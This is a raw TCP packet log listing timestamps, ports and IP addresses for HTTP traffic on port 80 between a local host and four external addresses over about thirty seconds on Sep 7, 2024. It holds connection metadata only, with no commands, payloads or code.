Sep 7, 2024 15:34:46.329986095 CEST	61383	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.334769011 CEST	80	61383	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:46.334815025 CEST	80	61380	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:46.334836960 CEST	61383	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.334872961 CEST	61380	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.334979057 CEST	61383	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.339716911 CEST	80	61383	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:46.821847916 CEST	80	61383	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:46.821950912 CEST	61383	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.943394899 CEST	61384	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:46.948323011 CEST	80	61384	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:46.948394060 CEST	61384	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:46.960429907 CEST	61384	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:46.965312958 CEST	80	61384	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:46.965394020 CEST	61384	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:46.965527058 CEST	61385	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.970308065 CEST	80	61385	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:46.970514059 CEST	61385	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.970654964 CEST	61385	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.975400925 CEST	80	61385	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:47.473460913 CEST	80	61385	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:47.473573923 CEST	80	61385	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:47.473690987 CEST	61385	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:47.473783016 CEST	61385	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:47.474045992 CEST	61383	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:47.474340916 CEST	61386	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:47.479129076 CEST	80	61383	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:47.479141951 CEST	80	61386	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:47.479212999 CEST	61383	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:47.479252100 CEST	61386	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:47.479403973 CEST	61386	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:47.484123945 CEST	80	61386	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:47.972366095 CEST	80	61386	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:47.972475052 CEST	61386	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.365840912 CEST	61388	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:49.370642900 CEST	80	61388	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:49.370743036 CEST	61388	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:49.370865107 CEST	61388	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:49.375386000 CEST	61389	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.375758886 CEST	80	61388	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:49.375828028 CEST	61388	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:49.380178928 CEST	80	61389	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:49.380245924 CEST	61389	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.380371094 CEST	61389	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.385127068 CEST	80	61389	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:49.870134115 CEST	80	61389	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:49.873245001 CEST	80	61389	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:49.873363972 CEST	61389	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.873462915 CEST	61389	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.878840923 CEST	61386	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.879159927 CEST	61390	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.884445906 CEST	80	61386	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:49.884459972 CEST	80	61390	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:49.884532928 CEST	61386	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.884587049 CEST	61390	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.884815931 CEST	61390	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:49.889566898 CEST	80	61390	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:50.366652966 CEST	80	61390	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:50.366734028 CEST	61390	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:50.941119909 CEST	61391	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:50.946435928 CEST	80	61391	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:50.946537971 CEST	61391	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:50.960411072 CEST	61391	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:50.964148998 CEST	61392	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:50.965518951 CEST	80	61391	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:50.965585947 CEST	61391	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:50.969028950 CEST	80	61392	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:50.969098091 CEST	61392	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:50.976265907 CEST	61392	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:50.982455969 CEST	80	61392	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:51.554553032 CEST	80	61392	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:51.554574013 CEST	80	61392	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:51.554601908 CEST	80	61392	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:51.554687023 CEST	61392	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:51.554737091 CEST	61392	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:51.554826975 CEST	61392	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:51.555206060 CEST	61390	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:51.555579901 CEST	61393	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:51.560257912 CEST	80	61390	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:51.560339928 CEST	61390	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:51.560362101 CEST	80	61393	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:51.560439110 CEST	61393	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:51.560602903 CEST	61393	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:51.565340996 CEST	80	61393	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:52.160300970 CEST	80	61393	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:52.160381079 CEST	61393	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:55.821965933 CEST	61394	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:55.826879978 CEST	80	61394	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:55.826956034 CEST	61394	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:55.827080965 CEST	61394	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:55.830707073 CEST	61395	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:55.832269907 CEST	80	61394	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:55.832334995 CEST	61394	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:55.835521936 CEST	80	61395	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:55.835596085 CEST	61395	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:55.835665941 CEST	61395	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:55.840559006 CEST	80	61395	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:56.315468073 CEST	80	61395	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:56.315486908 CEST	80	61395	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:56.315567970 CEST	61395	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:56.315682888 CEST	61395	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:56.321044922 CEST	61393	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:56.321361065 CEST	61396	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:56.326354027 CEST	80	61393	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:56.326432943 CEST	61393	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:56.326452017 CEST	80	61396	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:56.326528072 CEST	61396	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:56.326698065 CEST	61396	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:56.331511974 CEST	80	61396	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:56.866570950 CEST	80	61396	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:56.866689920 CEST	61396	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:56.990659952 CEST	61397	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:56.995781898 CEST	80	61397	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:56.995898962 CEST	61397	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:57.007292032 CEST	61397	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:57.011564016 CEST	61398	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.012471914 CEST	80	61397	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:57.012556076 CEST	61397	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:57.016379118 CEST	80	61398	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:57.016509056 CEST	61398	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.022957087 CEST	61398	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.028476000 CEST	80	61398	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:57.499131918 CEST	80	61398	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:57.499380112 CEST	61398	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.499454021 CEST	80	61398	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:57.499504089 CEST	61398	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.499708891 CEST	61396	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.500070095 CEST	61399	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.504734039 CEST	80	61396	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:57.504791975 CEST	61396	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.504869938 CEST	80	61399	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:57.504920006 CEST	61399	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.505104065 CEST	61399	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:57.509848118 CEST	80	61399	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:57.993714094 CEST	80	61399	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:57.993793964 CEST	61399	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:58.706130028 CEST	61400	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:58.710928917 CEST	80	61400	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:58.711009026 CEST	61400	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:58.726006985 CEST	61400	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:58.729623079 CEST	61401	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:58.730796099 CEST	80	61400	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:58.730859041 CEST	61400	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:58.734451056 CEST	80	61401	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:58.734519005 CEST	61401	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:58.741848946 CEST	61401	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:58.746681929 CEST	80	61401	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:59.217154026 CEST	80	61401	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:59.217184067 CEST	80	61401	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:59.217288017 CEST	61401	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.217381954 CEST	61401	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.233747959 CEST	61399	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.234088898 CEST	61402	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.238809109 CEST	80	61399	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:59.238863945 CEST	61399	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.238868952 CEST	80	61402	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:59.238950968 CEST	61402	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.239088058 CEST	61402	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.243837118 CEST	80	61402	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:59.721636057 CEST	80	61402	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:59.721752882 CEST	61402	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.886718035 CEST	61403	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:59.891632080 CEST	80	61403	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:59.891737938 CEST	61403	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:59.897959948 CEST	61403	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:59.902717113 CEST	61404	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.902862072 CEST	80	61403	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:59.902920961 CEST	61403	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:59.907562017 CEST	80	61404	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:59.907835960 CEST	61404	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.913547993 CEST	61404	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:59.918387890 CEST	80	61404	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:00.425765991 CEST	80	61404	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:00.425879002 CEST	80	61404	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:00.426028013 CEST	61404	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:00.426075935 CEST	61404	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:00.426376104 CEST	61402	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:00.426728010 CEST	61405	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:00.431380987 CEST	80	61402	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:00.431538105 CEST	80	61405	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:00.431602955 CEST	61402	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:00.431634903 CEST	61405	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:00.431756973 CEST	61405	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:00.436564922 CEST	80	61405	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:00.943790913 CEST	80	61405	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:00.943860054 CEST	61405	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:01.643280983 CEST	61406	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:01.648108006 CEST	80	61406	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:01.648175955 CEST	61406	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:01.648277998 CEST	61406	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:01.652407885 CEST	61407	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:01.653462887 CEST	80	61406	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:01.653543949 CEST	61406	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:01.657397985 CEST	80	61407	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:01.657476902 CEST	61407	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:01.657562971 CEST	61407	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:01.662425041 CEST	80	61407	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:02.253686905 CEST	80	61407	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:02.253707886 CEST	80	61407	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:02.253717899 CEST	80	61407	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:02.253797054 CEST	61407	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:02.253912926 CEST	61407	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:02.254216909 CEST	61405	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:02.254626036 CEST	61408	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:02.259290934 CEST	80	61405	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:02.259347916 CEST	61405	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:02.259424925 CEST	80	61408	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:02.259511948 CEST	61408	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:02.259665966 CEST	61408	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:02.264489889 CEST	80	61408	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:02.750132084 CEST	80	61408	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:02.750201941 CEST	61408	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.400067091 CEST	61409	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:07.404941082 CEST	80	61409	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:07.405024052 CEST	61409	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:07.405122995 CEST	61409	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:07.409794092 CEST	61410	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.410520077 CEST	80	61409	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:07.410588026 CEST	61409	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:07.414746046 CEST	80	61410	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:07.414819956 CEST	61410	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.414925098 CEST	61410	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.419703960 CEST	80	61410	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:07.926264048 CEST	80	61410	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:07.926304102 CEST	80	61410	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:07.926374912 CEST	61410	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.926461935 CEST	61410	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.928065062 CEST	61408	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.928363085 CEST	61411	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.933116913 CEST	80	61408	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:07.933161974 CEST	80	61411	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:07.933198929 CEST	61408	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.933243990 CEST	61411	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.936316013 CEST	61411	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:07.941152096 CEST	80	61411	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:08.437793016 CEST	80	61411	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:08.437880993 CEST	61411	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.003386021 CEST	61412	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:09.008286953 CEST	80	61412	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:09.008449078 CEST	61412	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:09.008718014 CEST	61412	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:09.013674021 CEST	80	61412	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:09.013729095 CEST	61412	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:09.081238031 CEST	61413	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.086196899 CEST	80	61413	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:09.086292982 CEST	61413	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.086427927 CEST	61413	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.091196060 CEST	80	61413	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:09.578429937 CEST	80	61413	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:09.578450918 CEST	80	61413	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:09.578511953 CEST	61413	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.578636885 CEST	61413	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.580974102 CEST	61411	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.581269979 CEST	61414	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.587084055 CEST	80	61411	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:09.587097883 CEST	80	61414	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:09.587157011 CEST	61411	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.587183952 CEST	61414	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.587378979 CEST	61414	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:09.593128920 CEST	80	61414	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:10.098891973 CEST	80	61414	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:10.098968983 CEST	61414	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.116161108 CEST	61415	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:11.121109962 CEST	80	61415	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:11.128237009 CEST	61415	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:11.133541107 CEST	61415	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:11.139309883 CEST	80	61415	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:11.139367104 CEST	61415	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:11.161746025 CEST	61416	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.166572094 CEST	80	61416	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:11.167073965 CEST	61416	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.167176008 CEST	61416	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.171916008 CEST	80	61416	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:11.658231974 CEST	80	61416	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:11.658490896 CEST	80	61416	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:11.658586025 CEST	61416	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.658651114 CEST	61416	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.658885956 CEST	61414	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.659190893 CEST	61417	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.663953066 CEST	80	61414	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:11.663965940 CEST	80	61417	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:11.664012909 CEST	61414	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.664053917 CEST	61417	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.664191961 CEST	61417	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:11.668934107 CEST	80	61417	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:12.355822086 CEST	80	61417	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:12.355886936 CEST	61417	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.377217054 CEST	61418	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:14.382010937 CEST	80	61418	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:14.382078886 CEST	61418	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:14.382246971 CEST	61418	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:14.386027098 CEST	61419	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.387460947 CEST	80	61418	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:14.387530088 CEST	61418	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:14.390902996 CEST	80	61419	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:14.390981913 CEST	61419	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.398159027 CEST	61419	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.402930021 CEST	80	61419	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:14.877209902 CEST	80	61419	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:14.877474070 CEST	80	61419	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:14.877562046 CEST	61419	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.877639055 CEST	61419	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.888509035 CEST	61417	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.888896942 CEST	61420	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.896384001 CEST	80	61417	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:14.896538973 CEST	80	61420	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:14.896595955 CEST	61417	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.896621943 CEST	61420	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.896779060 CEST	61420	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:14.902122974 CEST	80	61420	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:15.386868000 CEST	80	61420	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:15.386926889 CEST	61420	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:15.508033037 CEST	61421	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:15.512933016 CEST	80	61421	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:15.514072895 CEST	61421	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:15.519864082 CEST	61421	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:15.524713039 CEST	61422	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:15.524821043 CEST	80	61421	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:15.524878979 CEST	61421	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:15.529504061 CEST	80	61422	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:15.531764984 CEST	61422	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:15.538516998 CEST	61422	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:15.544545889 CEST	80	61422	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:16.042725086 CEST	80	61422	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:16.042782068 CEST	80	61422	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:16.042881966 CEST	61422	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.042932987 CEST	61422	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.044898987 CEST	61420	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.045253038 CEST	61423	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.050512075 CEST	80	61420	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:16.050586939 CEST	61420	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.050791979 CEST	80	61423	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:16.050862074 CEST	61423	80	192.168.2.3	172.234.222.138
